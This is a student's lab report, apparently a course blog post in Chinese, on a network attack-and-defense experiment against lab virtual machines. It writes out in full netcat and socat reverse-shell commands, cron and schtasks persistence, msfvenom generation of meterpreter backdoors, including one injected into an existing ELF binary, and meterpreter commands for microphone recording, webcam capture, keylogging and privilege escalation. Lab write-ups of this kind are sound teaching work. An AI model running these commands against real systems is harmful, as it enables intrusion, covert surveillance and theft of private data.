20222418 2024-2025-1 《網路與系統攻防技術》實驗二實驗報告

20222418何珊發表於2024-10-18

1.實驗內容

(1)使用netcat獲取主機操作Shell,cron啟動某項任務

(2)使用socat獲取主機操作Shell, 任務計劃啟動

(3)使用MSF meterpreter生成可執行檔案(後門),利用ncat傳送到主機並執行獲取主機Shell

(4)使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權

(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

2.實驗過程

1.使用netcat獲取主機操作Shell,cron啟動某項任務

(1)準備ncat工具

在windows主機上下載ncat程式,連結為
https://gitee.com/wildlinux/NetSec/attach_files ,下載後解壓備用。

(2)使用netcat進行連線並獲取shell

虛擬機器登入root使用者(後續操作需要使用root許可權),主機cmd進入ncat所在目錄。

Win主機輸入指令:ncat.exe -l -p 8888(l表示listen,“監聽”;p表示port,指定埠,這裡選擇8888)。

Linux虛機輸入指令:nc 192.168.3.54 8888 -e /bin/sh(nc即netcat,後面的引數是要連線的主機ip和port,-e是指定連線後執行的程式,本例中就是shell)。

win主機輸入ls,若能夠正常顯示虛擬機器下檔名,證明主機已成功獲取虛擬機器shell。

(3)透過設定cron使得kali啟動定時任務。

進入虛擬機器的root賬戶,輸入crontab -e (執行文字編輯器來設定時程表),選擇的是2:/usr/bin/vim.basic;

輸入後進入文字編輯器,輸入i進入插入模式,輸入指令>30 * * * * /bin/netcat 192.168.3.54 8888 -e /bin/sh (輸入自己主機的IP地址,在每小時的第30分鐘啟動任務),編輯好輸入:wq儲存並退出文字編輯器。

修改後在Linux主機中的/var/spool/cron/crontabs檔案中會出現一個root檔案。

現在回到Windows主機的cmd中進行操作,Win主機輸入指令:ncat.exe -l -p 8888,Linux虛機輸入指令:nc 192.168.3.54 8888 -e /bin/sh,還是一樣與Linux建立連線之後,輸入
echo "* * * * * echo "20222418" > /home/test.txt" > /var/spool/cron/crontabs/root
crontab -l (檢查時程表)

進入Linux虛擬機器進入對應路徑檢查test.txt,發現修改成功。

2.使用socat獲取主機操作Shell, 任務計劃啟動

Socat與netcat類似,但比起netcat,socat功能更多,比如如建立ssl連線。
windows主機:下載socat,cmd進入socat資料夾,輸入命令
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(把cmd.exe繫結到埠8888,並把cmd.exe的stderr重定向到stdout)。

Linux虛擬機器:進入root使用者,輸入命令:socat - tcp:192.168.3.54:8888.

回到主機,我們需要事先準備一個程式以供執行,程式碼如下

點選檢視程式碼
#include <stdio.h>
#include <stdlib.h>
int main()
{
    FILE *file = fopen("test.txt","w");
    char *str = "20222418hs";
    if(file == NULL)
    {
        printf("Error opening file\n");
        return 1;
    }
    fprintf(file,"%s",str);
    fclose(file);
    return 0;
}

程式路徑:"D:\cxdownload\test_20222418hs.exe"

在Linux上啟用Windows的程式,透過命令列建立任務計劃,在shell裡輸入命令:schtasks /create /sc minute /mo 1 /tn "20222418hs" /tr D:\cxdownload\test_20222418hs.exe(每一分鐘執行一次這個程式)。

回到windows主機,開啟計算機管理,看到正在執行的任務名“20222418hs”,說明實驗成功。


3. 在Linux下使用MSF meterpreter生成可執行檔案,利用ncat傳送到Windows主機並執行獲取主機shell。

保證windows的實時保護處於關閉狀態,同時關閉防火牆進行實驗。

(1)生成後門檔案

首先在kali中輸入ifconfig,獲得虛擬機器的IP地址:

虛擬機器的IP地址是192.168.1.112。

繼續中輸入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -f exe > 20222418bd.exe(使用msfvenom 工具生成一個反向 TCP Meterpreter shell 的 payload,並將其儲存到可執行檔案20222418bd.exe中)。

LHOST=192.168.1.112是shell 連線的主機 IP 地址,在本實驗中是虛擬機器的IP地址;

LPORT=8888是攻擊者的系統上監聽的埠號;

-f exe指定了生成的 payload 的格式,這裡是exe;

20222418bd.exe即生成的惡意可執行檔案:

(2)將後門檔案傳輸至目標主機

主機進入ncat所在目錄下,輸入指令:ncat.exe -lv 8888 > "D:\20222418bd.exe"(監聽8888視窗等待接收可執行檔案20222418bd.exe,並將20222418bd.exe檔案存放在D盤上)。

虛擬機器上輸入指令:
nc 192.168.1.110 8888 < 20222418bd.exe(將生成的後門檔案 20222418bd.exe傳給主機)。

Win主機接收到後門檔案 20222418bd.exe,成功在D盤找到檔案。

(3)配置監聽模組

回到虛擬機器,在Kali終端輸入命令msfconsole,然後對監聽模組進行配置:

use exploit/multi/handler(使用監聽模組,設定payload)
set payload windows/meterpreter/reverse_tcp (使用和生成後門程式時相同的payload)
set LHOST 192.168.1.112 (攻擊機的IP地址,和生成後門程式時指定的IP相同)
set LPORT 8888


接著輸入exploit,使監聽模組開始執行,並在Windows終端執行後門20222418bd.exe檔案:


返回檢查虛擬機器,輸入ls檢視windows主機目錄,確認已經連線。

4.使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

(1)獲取目標主機音訊、截圖、攝像頭、鍵盤記錄

在exploit模組中繼續輸入以下命令:

record_mic   (音訊)

screenshot   (截圖)

webcam_snap (拍照)

keyscan_start (開始讀取鍵盤記錄)

keyscan_dump (讀取鍵盤記錄結束)

音訊截圖和拍照被儲存在root文件中,鍵盤記錄的字串將直接顯示在命令欄上:


(2)提權

使用如下指令完成提權:

確保windows的cmd指令是使用管理員身份執行的,繼續在exploit模組中繼續輸入:

getuid (檢視當前使用者)

getsystem (提權指令)

5.使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

在kali命令列下輸入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -x /mnt/hgfs/pwn20222418/pwn1 -k -f elf -o 222418_pwn
(使用了msfvenom 工具生成一個 Meterpreter 反向 TCP shell的 payload,並將其注入到指定的可執行檔案中,然後將結果輸出到一個名為 222418_pwn的檔案中。)

程式碼解釋:

-p linux/x86/meterpreter/reverse_tcp:指定要使用的有效載荷型別,這裡是 Linux 系統下 x86 架構的反向 TCP Meterpreter。

LHOST=192.168.1.112:指定監聽主機的 IP 地址。

LPORT=8888:指定監聽埠。

-x /mnt/hgfs/pwn20222418/pwn1:指定要嵌入有效載荷的現有 ELF 檔案。

-k:保持模板檔案的功能不變,即嘗試在嵌入有效載荷時不破壞原 ELF 檔案的功能。

-f elf:指定輸出檔案格式為 ELF。

-o 222418_pwn:指定輸出檔名。

對生成的222418_pwn檔案賦予許可權:

輸入指令msfconsole,重現監聽過程:


開啟另一個shell,執行生成的222418_pwn檔案(需要使用root許可權):

回到第一個shell,輸入ls確認連線,成功實現遠端控制shell:

3.問題及解決方案

-問題1:輸入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -x /mnt/hgfs/pwn20222418/pwn1 -f elf > 222418_pwn試圖生成一個 Linux 平臺上的 x86 架構的 Meterpreter 反向 TCP Shell 載荷,但是出現了一個錯誤提示 -x:未找到命令。

-原因:未正確使用命令,在 msfvenom 命令中,-x 引數用於指定一個可執行檔案作為模板,以便將載荷嵌入到該檔案中,報錯不一定是-x本身的問題,可能是由於命令列的解析或格式問題導致的誤解。

-解決方法:查詢資料修改命令為正確格式msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -x /mnt/hgfs/pwn20222418/pwn1 -k -f elf -o 222418_pwn

-問題2:監聽虛擬機器開啟後出現與Windows不斷建立會話並失敗的提示資訊。

-原因:定義Metasploit Framework 模組時誤將前面的有效載荷名稱generic/shell_reverse_tcp填入。

-解決方法:輸入show options發現輸入錯誤,重新修正後解決。


4.學習感悟、思考等

看不懂命令真要命!!!

本次實驗前半部分比較順利,對命令一知半解但也對照著影片和資料磕磕碰碰做出來了,只剩第五個任務,做了整整兩個半小時,僅僅是因為程式碼不對。

從一開始遇到問題的一頭霧水,只會重做或者不信邪繼續做直到不能繼續再重做並不停重複這個過程,到後開開始查詢資料看報的錯是什麼,嘗試點對點直接解決問題但仍一知半解看似問題解決了實際上只是換了一種做法,到最後開始分析錯誤,理解每一步在幹什麼,還能與第二個任務相聯絡比較主動發現問題,感覺整個人都已經昇華了,做完實驗好歹明白了自己在幹什麼!

這些在實驗過程中能看出來,寫完都不信自己做完了,但也讓我覺得奇妙和害怕,在沒有保護的情況下,竊取隱私,盜取許可權太容易達成了,這需要我們更加堅定網路安全和保密意識,不斷學習,才能更有效地應對安全威脅。

除此之外,最大的心得是我在使用部落格園寫隨筆方面有了進步。顯而易見,比起上次第一次接觸部落格園,今天的我已經開始考慮編輯得更read-friendly,也在試著分點加程式碼、程式碼塊,開始使用實時預覽和草稿箱,也算是一種進步吧。

寫完了,狂喜。

相關文章